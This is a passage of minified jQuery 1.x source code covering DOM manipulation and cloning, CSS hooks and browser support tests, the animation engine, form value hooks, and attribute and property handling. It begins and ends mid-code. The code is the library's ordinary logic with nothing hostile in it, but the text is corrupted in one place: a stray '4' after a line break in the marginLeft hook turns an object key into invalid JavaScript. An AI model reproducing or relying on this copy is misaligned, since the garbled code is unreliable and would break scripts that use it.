e.events)n.removeEvent(b,d,e.handle);b.removeAttribute(n.expando)}"script"===c&&b.text!==a.text?(Da(b).text=a.text,Ea(b)):"object"===c?(b.parentNode&&(b.outerHTML=a.outerHTML),l.html5Clone&&a.innerHTML&&!n.trim(b.innerHTML)&&(b.innerHTML=a.innerHTML)):"input"===c&&Z.test(a.type)?(b.defaultChecked=b.checked=a.checked,b.value!==a.value&&(b.value=a.value)):"option"===c?b.defaultSelected=b.selected=a.defaultSelected:"input"!==c&&"textarea"!==c||(b.defaultValue=a.defaultValue)}}function Ha(a,b,c,d){b=f.apply([],b);var e,g,h,i,j,k,m=0,o=a.length,p=o-1,q=b[0],r=n.isFunction(q);if(r||o>1&&"string"==typeof q&&!l.checkClone&&xa.test(q))return a.each(function(e){var f=a.eq(e);r&&(b[0]=q.call(this,e,f.html())),Ha(f,b,c,d)});if(o&&(k=ja(b,a[0].ownerDocument,!1,a,d),e=k.firstChild,1===k.childNodes.length&&(k=e),e||d)){for(i=n.map(ea(k,"script"),Da),h=i.length;o>m;m++)g=k,m!==p&&(g=n.clone(g,!0,!0),h&&n.merge(i,ea(g,"script"))),c.call(a[m],g,m);if(h)for(j=i[i.length-1].ownerDocument,n.map(i,Ea),m=0;h>m;m++)g=i[m],_.test(g.type||"")&&!n._data(g,"globalEval")&&n.contains(j,g)&&(g.src?n._evalUrl&&n._evalUrl(g.src):n.globalEval((g.text||g.textContent||g.innerHTML||"").replace(za,"")));k=e=null}return a}function Ia(a,b,c){for(var d,e=b?n.filter(b,a):a,f=0;null!=(d=e[f]);f++)c||1!==d.nodeType||n.cleanData(ea(d)),d.parentNode&&(c&&n.contains(d.ownerDocument,d)&&fa(ea(d,"script")),d.parentNode.removeChild(d));return a}n.extend({htmlPrefilter:function(a){return a.replace(va,"<$1></$2>")},clone:function(a,b,c){var d,e,f,g,h,i=n.contains(a.ownerDocument,a);if(l.html5Clone||n.isXMLDoc(a)||!ua.test("<"+a.nodeName+">")?f=a.cloneNode(!0):(Ba.innerHTML=a.outerHTML,Ba.removeChild(f=Ba.firstChild)),!(l.noCloneEvent&&l.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(d=ea(f),h=ea(a),g=0;null!=(e=h[g]);++g)d[g]&&Ga(e,d[g]);if(b)if(c)for(h=h||ea(a),d=d||ea(f),g=0;null!=(e=h[g]);g++)Fa(e,d[g]);else Fa(a,f);return d=ea(f,"script"),d.length>0&&fa(d,!i&&ea(a,"script")),d=h=e=null,f},cleanData:function(a,b){for(var d,e,f,g,h=0,i=n.expando,j=n.cache,k=l.attributes,m=n.event.special;null!=(d=a[h]);h++)if((b||M(d))&&(f=d[i],g=f&&j[f])){if(g.events)for(e in g.events)m[e]?n.event.remove(d,e):n.removeEvent(d,e,g.handle);j[f]&&(delete j[f],k||"undefined"==typeof d.removeAttribute?d[i]=void 0:d.removeAttribute(i),c.push(f))}}}),n.fn.extend({domManip:Ha,detach:function(a){return Ia(this,a,!0)},remove:function(a){return Ia(this,a)},text:function(a){return Y(this,function(a){return void 0===a?n.text(this):this.empty().append((this[0]&&this[0].ownerDocument||d).createTextNode(a))},null,a,arguments.length)},append:function(){return Ha(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ca(this,a);b.appendChild(a)}})},prepend:function(){return Ha(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ca(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ha(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ha(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++){1===a.nodeType&&n.cleanData(ea(a,!1));while(a.firstChild)a.removeChild(a.firstChild);a.options&&n.nodeName(a,"select")&&(a.options.length=0)}return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return Y(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a)return 1===b.nodeType?b.innerHTML.replace(ta,""):void 0;if("string"==typeof a&&!wa.test(a)&&(l.htmlSerialize||!ua.test(a))&&(l.leadingWhitespace||!aa.test(a))&&!da[($.exec(a)||["",""])[1].toLowerCase()]){a=n.htmlPrefilter(a);try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(ea(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=[];return Ha(this,arguments,function(b){var c=this.parentNode;n.inArray(this,a)<0&&(n.cleanData(ea(this)),c&&c.replaceChild(b,this))},a)}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=0,e=[],f=n(a),h=f.length-1;h>=d;d++)c=d===h?this:this.clone(!0),n(f[d])[b](c),g.apply(e,c.get());return this.pushStack(e)}});var Ja,Ka={HTML:"block",BODY:"block"};function La(a,b){var c=n(b.createElement(a)).appendTo(b.body),d=n.css(c[0],"display");return c.detach(),d}function Ma(a){var b=d,c=Ka[a];return c||(c=La(a,b),"none"!==c&&c||(Ja=(Ja||n("<iframe frameborder='0' width='0' height='0'/>")).appendTo(b.documentElement),b=(Ja[0].contentWindow||Ja[0].contentDocument).document,b.write(),b.close(),c=La(a,b),Ja.detach()),Ka[a]=c),c}var Na=/^margin/,Oa=new RegExp("^("+T+")(?!px)[a-z%]+$","i"),Pa=function(a,b,c,d){var e,f,g={};for(f in b)g[f]=a.style[f],a.style[f]=b[f];e=c.apply(a,d||[]);for(f in b)a.style[f]=g[f];return e},Qa=d.documentElement;!function(){var b,c,e,f,g,h,i=d.createElement("div"),j=d.createElement("div");if(j.style){j.style.cssText="float:left;opacity:.5",l.opacity="0.5"===j.style.opacity,l.cssFloat=!!j.style.cssFloat,j.style.backgroundClip="content-box",j.cloneNode(!0).style.backgroundClip="",l.clearCloneStyle="content-box"===j.style.backgroundClip,i=d.createElement("div"),i.style.cssText="border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute",j.innerHTML="",i.appendChild(j),l.boxSizing=""===j.style.boxSizing||""===j.style.MozBoxSizing||""===j.style.WebkitBoxSizing,n.extend(l,{reliableHiddenOffsets:function(){return null==b&&k(),f},boxSizingReliable:function(){return null==b&&k(),e},pixelMarginRight:function(){return null==b&&k(),c},pixelPosition:function(){return null==b&&k(),b},reliableMarginRight:function(){return null==b&&k(),g},reliableMarginLeft:function(){return null==b&&k(),h}});function k(){var k,l,m=d.documentElement;m.appendChild(i),j.style.cssText="-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%",b=e=h=!1,c=g=!0,a.getComputedStyle&&(l=a.getComputedStyle(j),b="1%"!==(l||{}).top,h="2px"===(l||{}).marginLeft,e="4px"===(l||{width:"4px"}).width,j.style.marginRight="50%",c="4px"===(l||{marginRight:"4px"}).marginRight,k=j.appendChild(d.createElement("div")),k.style.cssText=j.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:0",k.style.marginRight=k.style.width="0",j.style.width="1px",g=!parseFloat((a.getComputedStyle(k)||{}).marginRight),j.removeChild(k)),j.style.display="none",f=0===j.getClientRects().length,f&&(j.style.display="",j.innerHTML="<table><tr><td></td><td>t</td></tr></table>",j.childNodes[0].style.borderCollapse="separate",k=j.getElementsByTagName("td"),k[0].style.cssText="margin:0;border:0;padding:0;display:none",f=0===k[0].offsetHeight,f&&(k[0].style.display="",k[1].style.display="none",f=0===k[0].offsetHeight)),m.removeChild(i)}}}();var Ra,Sa,Ta=/^(top|right|bottom|left)$/;a.getComputedStyle?(Ra=function(b){var c=b.ownerDocument.defaultView;return c&&c.opener||(c=a),c.getComputedStyle(b)},Sa=function(a,b,c){var d,e,f,g,h=a.style;return c=c||Ra(a),g=c?c.getPropertyValue(b)||c[b]:void 0,""!==g&&void 0!==g||n.contains(a.ownerDocument,a)||(g=n.style(a,b)),c&&!l.pixelMarginRight()&&Oa.test(g)&&Na.test(b)&&(d=h.width,e=h.minWidth,f=h.maxWidth,h.minWidth=h.maxWidth=h.width=g,g=c.width,h.width=d,h.minWidth=e,h.maxWidth=f),void 0===g?g:g+""}):Qa.currentStyle&&(Ra=function(a){return a.currentStyle},Sa=function(a,b,c){var d,e,f,g,h=a.style;return c=c||Ra(a),g=c?c[b]:void 0,null==g&&h&&h[b]&&(g=h[b]),Oa.test(g)&&!Ta.test(b)&&(d=h.left,e=a.runtimeStyle,f=e&&e.left,f&&(e.left=a.currentStyle.left),h.left="fontSize"===b?"1em":g,g=h.pixelLeft+"px",h.left=d,f&&(e.left=f)),void 0===g?g:g+""||"auto"});function Ua(a,b){return{get:function(){return a()?void delete this.get:(this.get=b).apply(this,arguments)}}}var Va=/alpha\([^)]*\)/i,Wa=/opacity\s*=\s*([^)]*)/i,Xa=/^(none|table(?!-c[ea]).+)/,Ya=new RegExp("^("+T+")(.*)$","i"),Za={position:"absolute",visibility:"hidden",display:"block"},$a={letterSpacing:"0",fontWeight:"400"},_a=["Webkit","O","Moz","ms"],ab=d.createElement("div").style;function bb(a){if(a in ab)return a;var b=a.charAt(0).toUpperCase()+a.slice(1),c=_a.length;while(c--)if(a=_a[c]+b,a in ab)return a}function cb(a,b){for(var c,d,e,f=[],g=0,h=a.length;h>g;g++)d=a[g],d.style&&(f[g]=n._data(d,"olddisplay"),c=d.style.display,b?(f[g]||"none"!==c||(d.style.display=""),""===d.style.display&&W(d)&&(f[g]=n._data(d,"olddisplay",Ma(d.nodeName)))):(e=W(d),(c&&"none"!==c||!e)&&n._data(d,"olddisplay",e?c:n.css(d,"display"))));for(g=0;h>g;g++)d=a[g],d.style&&(b&&"none"!==d.style.display&&""!==d.style.display||(d.style.display=b?f[g]||"":"none"));return a}function db(a,b,c){var d=Ya.exec(b);return d?Math.max(0,d[1]-(c||0))+(d[2]||"px"):b}function eb(a,b,c,d,e){for(var f=c===(d?"border":"content")?4:"width"===b?1:0,g=0;4>f;f+=2)"margin"===c&&(g+=n.css(a,c+V[f],!0,e)),d?("content"===c&&(g-=n.css(a,"padding"+V[f],!0,e)),"margin"!==c&&(g-=n.css(a,"border"+V[f]+"Width",!0,e))):(g+=n.css(a,"padding"+V[f],!0,e),"padding"!==c&&(g+=n.css(a,"border"+V[f]+"Width",!0,e)));return g}function fb(a,b,c){var d=!0,e="width"===b?a.offsetWidth:a.offsetHeight,f=Ra(a),g=l.boxSizing&&"border-box"===n.css(a,"boxSizing",!1,f);if(0>=e||null==e){if(e=Sa(a,b,f),(0>e||null==e)&&(e=a.style[b]),Oa.test(e))return e;d=g&&(l.boxSizingReliable()||e===a.style[b]),e=parseFloat(e)||0}return e+eb(a,b,c||(g?"border":"content"),d,f)+"px"}n.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=Sa(a,"opacity");return""===c?"1":c}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":l.cssFloat?"cssFloat":"styleFloat"},style:function(a,b,c,d){if(a&&3!==a.nodeType&&8!==a.nodeType&&a.style){var e,f,g,h=n.camelCase(b),i=a.style;if(b=n.cssProps[h]||(n.cssProps[h]=bb(h)||h),g=n.cssHooks[b]||n.cssHooks[h],void 0===c)return g&&"get"in g&&void 0!==(e=g.get(a,!1,d))?e:i[b];if(f=typeof c,"string"===f&&(e=U.exec(c))&&e[1]&&(c=X(a,b,e),f="number"),null!=c&&c===c&&("number"===f&&(c+=e&&e[3]||(n.cssNumber[h]?"":"px")),l.clearCloneStyle||""!==c||0!==b.indexOf("background")||(i[b]="inherit"),!(g&&"set"in g&&void 0===(c=g.set(a,c,d)))))try{i[b]=c}catch(j){}}},css:function(a,b,c,d){var e,f,g,h=n.camelCase(b);return b=n.cssProps[h]||(n.cssProps[h]=bb(h)||h),g=n.cssHooks[b]||n.cssHooks[h],g&&"get"in g&&(f=g.get(a,!0,c)),void 0===f&&(f=Sa(a,b,d)),"normal"===f&&b in $a&&(f=$a[b]),""===c||c?(e=parseFloat(f),c===!0||isFinite(e)?e||0:f):f}}),n.each(["height","width"],function(a,b){n.cssHooks[b]={get:function(a,c,d){return c?Xa.test(n.css(a,"display"))&&0===a.offsetWidth?Pa(a,Za,function(){return fb(a,b,d)}):fb(a,b,d):void 0},set:function(a,c,d){var e=d&&Ra(a);return db(a,c,d?eb(a,b,d,l.boxSizing&&"border-box"===n.css(a,"boxSizing",!1,e),e):0)}}}),l.opacity||(n.cssHooks.opacity={get:function(a,b){return Wa.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=n.isNumeric(b)?"alpha(opacity="+100*b+")":"",f=d&&d.filter||c.filter||"";c.zoom=1,(b>=1||""===b)&&""===n.trim(f.replace(Va,""))&&c.removeAttribute&&(c.removeAttribute("filter"),""===b||d&&!d.filter)||(c.filter=Va.test(f)?f.replace(Va,e):f+" "+e)}}),n.cssHooks.marginRight=Ua(l.reliableMarginRight,function(a,b){return b?Pa(a,{display:"inline-block"},Sa,[a,"marginRight"]):void 0}),n.cssHooks.marginLeft=Ua(l.reliableMarginLeft,function(a,b){return b?(parseFloat(Sa(a,"marginLeft"))||(n.contains(a.ownerDocument,a)?a.getBoundingClientRect().left-Pa(a,{
4marginLeft:0},function(){return a.getBoundingClientRect().left}):0))+"px":void 0}),n.each({margin:"",padding:"",border:"Width"},function(a,b){n.cssHooks[a+b]={expand:function(c){for(var d=0,e={},f="string"==typeof c?c.split(" "):[c];4>d;d++)e[a+V[d]+b]=f[d]||f[d-2]||f[0];return e}},Na.test(a)||(n.cssHooks[a+b].set=db)}),n.fn.extend({css:function(a,b){return Y(this,function(a,b,c){var d,e,f={},g=0;if(n.isArray(b)){for(d=Ra(a),e=b.length;e>g;g++)f[b[g]]=n.css(a,b[g],!1,d);return f}return void 0!==c?n.style(a,b,c):n.css(a,b)},a,b,arguments.length>1)},show:function(){return cb(this,!0)},hide:function(){return cb(this)},toggle:function(a){return"boolean"==typeof a?a?this.show():this.hide():this.each(function(){W(this)?n(this).show():n(this).hide()})}});function gb(a,b,c,d,e){return new gb.prototype.init(a,b,c,d,e)}n.Tween=gb,gb.prototype={constructor:gb,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||n.easing._default,this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(n.cssNumber[c]?"":"px")},cur:function(){var a=gb.propHooks[this.prop];return a&&a.get?a.get(this):gb.propHooks._default.get(this)},run:function(a){var b,c=gb.propHooks[this.prop];return this.options.duration?this.pos=b=n.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):gb.propHooks._default.set(this),this}},gb.prototype.init.prototype=gb.prototype,gb.propHooks={_default:{get:function(a){var b;return 1!==a.elem.nodeType||null!=a.elem[a.prop]&&null==a.elem.style[a.prop]?a.elem[a.prop]:(b=n.css(a.elem,a.prop,""),b&&"auto"!==b?b:0)},set:function(a){n.fx.step[a.prop]?n.fx.step[a.prop](a):1!==a.elem.nodeType||null==a.elem.style[n.cssProps[a.prop]]&&!n.cssHooks[a.prop]?a.elem[a.prop]=a.now:n.style(a.elem,a.prop,a.now+a.unit)}}},gb.propHooks.scrollTop=gb.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},n.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2},_default:"swing"},n.fx=gb.prototype.init,n.fx.step={};var hb,ib,jb=/^(?:toggle|show|hide)$/,kb=/queueHooks$/;function lb(){return a.setTimeout(function(){hb=void 0}),hb=n.now()}function mb(a,b){var c,d={height:a},e=0;for(b=b?1:0;4>e;e+=2-b)c=V[e],d["margin"+c]=d["padding"+c]=a;return b&&(d.opacity=d.width=a),d}function nb(a,b,c){for(var d,e=(qb.tweeners[b]||[]).concat(qb.tweeners["*"]),f=0,g=e.length;g>f;f++)if(d=e[f].call(c,b,a))return d}function ob(a,b,c){var d,e,f,g,h,i,j,k,m=this,o={},p=a.style,q=a.nodeType&&W(a),r=n._data(a,"fxshow");c.queue||(h=n._queueHooks(a,"fx"),null==h.unqueued&&(h.unqueued=0,i=h.empty.fire,h.empty.fire=function(){h.unqueued||i()}),h.unqueued++,m.always(function(){m.always(function(){h.unqueued--,n.queue(a,"fx").length||h.empty.fire()})})),1===a.nodeType&&("height"in b||"width"in b)&&(c.overflow=[p.overflow,p.overflowX,p.overflowY],j=n.css(a,"display"),k="none"===j?n._data(a,"olddisplay")||Ma(a.nodeName):j,"inline"===k&&"none"===n.css(a,"float")&&(l.inlineBlockNeedsLayout&&"inline"!==Ma(a.nodeName)?p.zoom=1:p.display="inline-block")),c.overflow&&(p.overflow="hidden",l.shrinkWrapBlocks()||m.always(function(){p.overflow=c.overflow[0],p.overflowX=c.overflow[1],p.overflowY=c.overflow[2]}));for(d in b)if(e=b[d],jb.exec(e)){if(delete b[d],f=f||"toggle"===e,e===(q?"hide":"show")){if("show"!==e||!r||void 0===r[d])continue;q=!0}o[d]=r&&r[d]||n.style(a,d)}else j=void 0;if(n.isEmptyObject(o))"inline"===("none"===j?Ma(a.nodeName):j)&&(p.display=j);else{r?"hidden"in r&&(q=r.hidden):r=n._data(a,"fxshow",{}),f&&(r.hidden=!q),q?n(a).show():m.done(function(){n(a).hide()}),m.done(function(){var b;n._removeData(a,"fxshow");for(b in o)n.style(a,b,o[b])});for(d in o)g=nb(q?r[d]:0,d,m),d in r||(r[d]=g.start,q&&(g.end=g.start,g.start="width"===d||"height"===d?1:0))}}function pb(a,b){var c,d,e,f,g;for(c in a)if(d=n.camelCase(c),e=b[d],f=a[c],n.isArray(f)&&(e=f[1],f=a[c]=f[0]),c!==d&&(a[d]=f,delete a[c]),g=n.cssHooks[d],g&&"expand"in g){f=g.expand(f),delete a[d];for(c in f)c in a||(a[c]=f[c],b[c]=e)}else b[d]=e}function qb(a,b,c){var d,e,f=0,g=qb.prefilters.length,h=n.Deferred().always(function(){delete i.elem}),i=function(){if(e)return!1;for(var b=hb||lb(),c=Math.max(0,j.startTime+j.duration-b),d=c/j.duration||0,f=1-d,g=0,i=j.tweens.length;i>g;g++)j.tweens[g].run(f);return h.notifyWith(a,[j,f,c]),1>f&&i?c:(h.resolveWith(a,[j]),!1)},j=h.promise({elem:a,props:n.extend({},b),opts:n.extend(!0,{specialEasing:{},easing:n.easing._default},c),originalProperties:b,originalOptions:c,startTime:hb||lb(),duration:c.duration,tweens:[],createTween:function(b,c){var d=n.Tween(a,j.opts,b,c,j.opts.specialEasing[b]||j.opts.easing);return j.tweens.push(d),d},stop:function(b){var c=0,d=b?j.tweens.length:0;if(e)return this;for(e=!0;d>c;c++)j.tweens[c].run(1);return b?(h.notifyWith(a,[j,1,0]),h.resolveWith(a,[j,b])):h.rejectWith(a,[j,b]),this}}),k=j.props;for(pb(k,j.opts.specialEasing);g>f;f++)if(d=qb.prefilters[f].call(j,a,k,j.opts))return n.isFunction(d.stop)&&(n._queueHooks(j.elem,j.opts.queue).stop=n.proxy(d.stop,d)),d;return n.map(k,nb,j),n.isFunction(j.opts.start)&&j.opts.start.call(a,j),n.fx.timer(n.extend(i,{elem:a,anim:j,queue:j.opts.queue})),j.progress(j.opts.progress).done(j.opts.done,j.opts.complete).fail(j.opts.fail).always(j.opts.always)}n.Animation=n.extend(qb,{tweeners:{"*":[function(a,b){var c=this.createTween(a,b);return X(c.elem,a,U.exec(b),c),c}]},tweener:function(a,b){n.isFunction(a)?(b=a,a=["*"]):a=a.match(G);for(var c,d=0,e=a.length;e>d;d++)c=a[d],qb.tweeners[c]=qb.tweeners[c]||[],qb.tweeners[c].unshift(b)},prefilters:[ob],prefilter:function(a,b){b?qb.prefilters.unshift(a):qb.prefilters.push(a)}}),n.speed=function(a,b,c){var d=a&&"object"==typeof a?n.extend({},a):{complete:c||!c&&b||n.isFunction(a)&&a,duration:a,easing:c&&b||b&&!n.isFunction(b)&&b};return d.duration=n.fx.off?0:"number"==typeof d.duration?d.duration:d.duration in n.fx.speeds?n.fx.speeds[d.duration]:n.fx.speeds._default,null!=d.queue&&d.queue!==!0||(d.queue="fx"),d.old=d.complete,d.complete=function(){n.isFunction(d.old)&&d.old.call(this),d.queue&&n.dequeue(this,d.queue)},d},n.fn.extend({fadeTo:function(a,b,c,d){return this.filter(W).css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){var e=n.isEmptyObject(a),f=n.speed(b,c,d),g=function(){var b=qb(this,n.extend({},a),f);(e||n._data(this,"finish"))&&b.stop(!0)};return g.finish=g,e||f.queue===!1?this.each(g):this.queue(f.queue,g)},stop:function(a,b,c){var d=function(a){var b=a.stop;delete a.stop,b(c)};return"string"!=typeof a&&(c=b,b=a,a=void 0),b&&a!==!1&&this.queue(a||"fx",[]),this.each(function(){var b=!0,e=null!=a&&a+"queueHooks",f=n.timers,g=n._data(this);if(e)g[e]&&g[e].stop&&d(g[e]);else for(e in g)g[e]&&g[e].stop&&kb.test(e)&&d(g[e]);for(e=f.length;e--;)f[e].elem!==this||null!=a&&f[e].queue!==a||(f[e].anim.stop(c),b=!1,f.splice(e,1));!b&&c||n.dequeue(this,a)})},finish:function(a){return a!==!1&&(a=a||"fx"),this.each(function(){var b,c=n._data(this),d=c[a+"queue"],e=c[a+"queueHooks"],f=n.timers,g=d?d.length:0;for(c.finish=!0,n.queue(this,a,[]),e&&e.stop&&e.stop.call(this,!0),b=f.length;b--;)f[b].elem===this&&f[b].queue===a&&(f[b].anim.stop(!0),f.splice(b,1));for(b=0;g>b;b++)d[b]&&d[b].finish&&d[b].finish.call(this);delete c.finish})}}),n.each(["toggle","show","hide"],function(a,b){var c=n.fn[b];n.fn[b]=function(a,d,e){return null==a||"boolean"==typeof a?c.apply(this,arguments):this.animate(mb(b,!0),a,d,e)}}),n.each({slideDown:mb("show"),slideUp:mb("hide"),slideToggle:mb("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){n.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),n.timers=[],n.fx.tick=function(){var a,b=n.timers,c=0;for(hb=n.now();c<b.length;c++)a=b[c],a()||b[c]!==a||b.splice(c--,1);b.length||n.fx.stop(),hb=void 0},n.fx.timer=function(a){n.timers.push(a),a()?n.fx.start():n.timers.pop()},n.fx.interval=13,n.fx.start=function(){ib||(ib=a.setInterval(n.fx.tick,n.fx.interval))},n.fx.stop=function(){a.clearInterval(ib),ib=null},n.fx.speeds={slow:600,fast:200,_default:400},n.fn.delay=function(b,c){return b=n.fx?n.fx.speeds[b]||b:b,c=c||"fx",this.queue(c,function(c,d){var e=a.setTimeout(c,b);d.stop=function(){a.clearTimeout(e)}})},function(){var a,b=d.createElement("input"),c=d.createElement("div"),e=d.createElement("select"),f=e.appendChild(d.createElement("option"));c=d.createElement("div"),c.setAttribute("className","t"),c.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",a=c.getElementsByTagName("a")[0],b.setAttribute("type","checkbox"),c.appendChild(b),a=c.getElementsByTagName("a")[0],a.style.cssText="top:1px",l.getSetAttribute="t"!==c.className,l.style=/top/.test(a.getAttribute("style")),l.hrefNormalized="/a"===a.getAttribute("href"),l.checkOn=!!b.value,l.optSelected=f.selected,l.enctype=!!d.createElement("form").enctype,e.disabled=!0,l.optDisabled=!f.disabled,b=d.createElement("input"),b.setAttribute("value",""),l.input=""===b.getAttribute("value"),b.value="t",b.setAttribute("type","radio"),l.radioValue="t"===b.value}();var rb=/\r/g,sb=/[\x20\t\r\n\f]+/g;n.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=n.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,n(this).val()):a,null==e?e="":"number"==typeof e?e+="":n.isArray(e)&&(e=n.map(e,function(a){return null==a?"":a+""})),b=n.valHooks[this.type]||n.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=n.valHooks[e.type]||n.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(rb,""):null==c?"":c)}}}),n.extend({valHooks:{option:{get:function(a){var b=n.find.attr(a,"value");return null!=b?b:n.trim(n.text(a)).replace(sb," ")}},select:{get:function(a){for(var b,c,d=a.options,e=a.selectedIndex,f="select-one"===a.type||0>e,g=f?null:[],h=f?e+1:d.length,i=0>e?h:f?e:0;h>i;i++)if(c=d[i],(c.selected||i===e)&&(l.optDisabled?!c.disabled:null===c.getAttribute("disabled"))&&(!c.parentNode.disabled||!n.nodeName(c.parentNode,"optgroup"))){if(b=n(c).val(),f)return b;g.push(b)}return g},set:function(a,b){var c,d,e=a.options,f=n.makeArray(b),g=e.length;while(g--)if(d=e[g],n.inArray(n.valHooks.option.get(d),f)>-1)try{d.selected=c=!0}catch(h){d.scrollHeight}else d.selected=!1;return c||(a.selectedIndex=-1),e}}}}),n.each(["radio","checkbox"],function(){n.valHooks[this]={set:function(a,b){return n.isArray(b)?a.checked=n.inArray(n(a).val(),b)>-1:void 0}},l.checkOn||(n.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var tb,ub,vb=n.expr.attrHandle,wb=/^(?:checked|selected)$/i,xb=l.getSetAttribute,yb=l.input;n.fn.extend({attr:function(a,b){return Y(this,n.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){n.removeAttr(this,a)})}}),n.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?n.prop(a,b,c):(1===f&&n.isXMLDoc(a)||(b=b.toLowerCase(),e=n.attrHooks[b]||(n.expr.match.bool.test(b)?ub:tb)),void 0!==c?null===c?void n.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=n.find.attr(a,b),null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!l.radioValue&&"radio"===b&&n.nodeName(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d,e=0,f=b&&b.match(G);if(f&&1===a.nodeType)while(c=f[e++])d=n.propFix[c]||c,n.expr.match.bool.test(c)?yb&&xb||!wb.test(c)?a[d]=!1:a[n.camelCase("default-"+c)]=a[d]=!1:n.attr(a,c,""),a.removeAttribute(xb?c:d)}}),ub={set:function(a,b,c){return b===!1?n.removeAttr(a,c):yb&&xb||!wb.test(c)?a.setAttribute(!xb&&n.propFix[c]||c,c):a[n.camelCase("default-"+c)]=a[c]=!0,c}},n.each(n.expr.match.bool.source.match(/\w+/g),function(a,b){var c=vb[b]||n.find.attr;yb&&xb||!wb.test(b)?vb[b]=function(a,b,d){var e,f;return d||(f=vb[b],vb[b]=e,e=null!=c(a,b,d)?b.toLowerCase():null,vb[b]=f),e}:vb[b]=function(a,b,c){return c?void 0:a[n.camelCase("default-"+b)]?b.toLowerCase():null}}),yb&&xb||(n.attrHooks.value={set:function(a,b,c){return n.nodeName(a,"input")?void(a.defaultValue=b):tb&&tb.set(a,b,c)}}),xb||(tb={set:function(a,b,c){var d=a.getAttributeNode(c);return d||a.setAttributeNode(d=a.ownerDocument.createAttribute(c)),d.value=b+="","value"===c||b===a.getAttribute(c)?b:void 0}},vb.id=vb.name=vb.coords=function(a,b,c){var d;return c?void 0:(d=a.getAttributeNode(b))&&""!==d.value?d.value:null},n.valHooks.button={get:function(a,b){var c=a.getAttributeNode(b);return c&&c.specified?c.value:void 0},set:tb.set},n.attrHooks.contenteditable={set:function(a,b,c){tb.set(a,""===b?!1:b,c)}},n.each(["width","height"],function(a,b){n.attrHooks[b]={set:function(a,c){return""===c?(a.setAttribute(b,"auto"),c):void 0}}})),l.style||(n.attrHooks.style={get:function(a){return a.style.cssText||void 0},set:function(a,b){return a.style.cssText=b+""}});var zb=/^(?:input|select|textarea|button|object)$/i,Ab=/^(?:a|area)$/i;n.fn.extend({prop:function(a,b){return Y(this,n.prop,a,b,arguments.length>1)},removeProp:function(a){return a=n.propFix[a]||a,this.each(function(){try{this[a]=void 0,delete this[a]}catch(b){}})}}),n.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&n.isXMLDoc(a)||(b=n.propFix[b]||b,e=n.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=n.find.attr(a,"tabindex");return b?parseInt(b,10):zb.test(a.nodeName)||Ab.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),l.hrefNormalized||n.each(["href","src"],function(a,b){n.propHooks[b]={get:function(a){return a.getAttribute(b,4)}}}),l.optSelected||(n.propHooks.selected={get:function(a){var b=a.parentNode;return 